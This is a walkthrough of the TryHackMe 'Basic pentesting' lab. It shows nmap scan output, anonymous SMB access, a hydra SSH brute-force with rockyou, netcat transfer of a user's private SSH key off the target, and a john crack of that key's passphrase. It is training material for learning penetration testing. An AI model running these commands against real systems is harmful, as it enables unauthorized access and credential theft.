From the ctf tryhackme room Basic pentesting.

First scan the network with

```
sudo nmap -sV -p- <ip>
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4 (RSA)
|   256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA)
|_  256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (ED25519)
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
| ajp-methods:
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http        Apache Tomcat 9.0.7
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.7
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h39m59s, deviation: 2h53m12s, median: 0s
| smb2-time:
|   date: 2024-02-10T21:52:14
|_  start_date: N/A
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: basic2
|   NetBIOS computer name: BASIC2\x00
|   Domain name: \x00
|   FQDN: basic2
|_  System time: 2024-02-10T16:52:14-05:00

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.12 seconds
```

From this we see a web server, smb and ssh

We do a gobuster scan on the webserver and find /development

Then we do nmap smb enumeration to find the anonymous share with guest user.
From this we can use smbclient to login to it with smbclient //<ip>/anonymous -U guest
Here we see a file opening it gives potential users jan and kay.

Now we have a username and try to crack the password for jan on ssh with hydra

```
hydra -l jan -P /usr/share/wordlists/rockyou.txt <ip> ssh
```

From this we get username:jan , password: armando
Now we can login with ssh.
Nothing in home directory but browsing to other user kay we see an interesting pass file which we cant open.
We also see the .ssh folder which we can access and also open id_rsa, id_rsa.pub files.
So we download the files by doing nc -l 1234 < id_rsa
On kali we then do nc <ip> 1234 > id_rsa
We now have the id_rsa on our machine.
Now we do ssh2john id_rsa > johnformat.txt
We can now crack the password with john

```
john johnformat --wordlist=/usr/share/wordlists/rockyou.txt
```

and get the password beeswax
Now we can do ssh -i id_rsa kay@<ip> and
enter the passphrase beeswax and we can now open the pass file!